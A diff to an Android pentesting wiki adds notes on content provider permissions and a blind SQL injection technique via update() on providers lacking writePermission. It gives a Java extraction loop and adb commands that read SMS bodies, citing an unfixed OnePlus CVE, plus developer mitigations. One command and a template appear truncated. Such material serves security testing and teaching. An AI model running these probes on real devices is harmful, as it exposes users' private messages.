diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 451f5b0a8..4c0088026 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications. +### Permission semantics and pitfalls (Content Providers) + +- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider. +- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates. +- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern. + **FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently. Example manifest declaration for FileProvider: @@ -500,6 +506,11 @@ Tools / scripts that speed-up Binder reconnaissance: - [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl) - [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder) - [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8) +- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/) +- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) +- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn) +- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn) +- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[])) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index f8953fd15..2733b1b84 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not sqlite_sequence ``` +### writePermission omission + blind SQLi via update() + +A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS). + +Key idea +- Exported provider, readPermission set, writePermission omitted +- update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened +- Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables +- If the provider’s table is empty, insert() can be abused to seed a row so update() affects ≥1 row + +Discovery workflow +- Enumerate exported providers and check perms: + - drozer: run app.provider.info -a + - adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "0' +``` + +Seeding a row (if needed) +If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation: + +```bash +adb shell cmd content insert \ + --uri content://service-number/service_number \ + --bind hash_number:s:dummy +``` + +Blind Boolean oracle via update() +- Predicate template: 1=1 AND unicode(substr((), , 1)) BETWEEN AND +- TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise +- Binary search [0..127] to recover each character + +Minimal extraction loop (pseudocode) +```java +boolean probe(Uri uri, String where) { + ContentValues cv = new ContentValues(); + cv.put("rowid", "123"); + try { + return getContentResolver().update(uri, cv, where, null) > 0; + } catch (Exception e) { + return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed"); + } +} + +char leakChar(Uri uri, String subquery, int pos) { + int lo = 0, win = 127; + while (true) { + String where = String.format( + "1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d", + subquery, pos, lo, lo + win); + if (probe(uri, where)) { + if (win == 0) return (char) lo; + win = (win > 3) ? (win / 2) : (win - 1); + } else { + if (lo == 0 && win == 127) return '\0'; + lo = (win > 0) ? (lo + win) : (lo + 1); + } + } +} +``` + +adb example of a single probe +```bash +# Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57) +adb shell cmd content update \ + --uri content://service-number/service_number \ + --bind rowid:s:123 \ + --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57' +``` + +Notes +- Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider +- insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted) +- The exact URI and table names differ per OEM/provider; examples seen in the wild include: + - content://service-number/service_number + - content://push-mms/push + - content://push-shop/push_shop + +Mitigations for app/ROM developers +- Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default +- Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL +- Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist +- Keep sensitive tables in a separate DB not shared with untrusted providers + ## **File System-backed Content Providers** Content providers could be also used to **access files:** @@ -249,6 +341,11 @@ These changes in recent Android versions mean many legacy exploitation primitive ## References +- [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/) +- [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) +- [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn) +- [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn) +- [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[])) - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)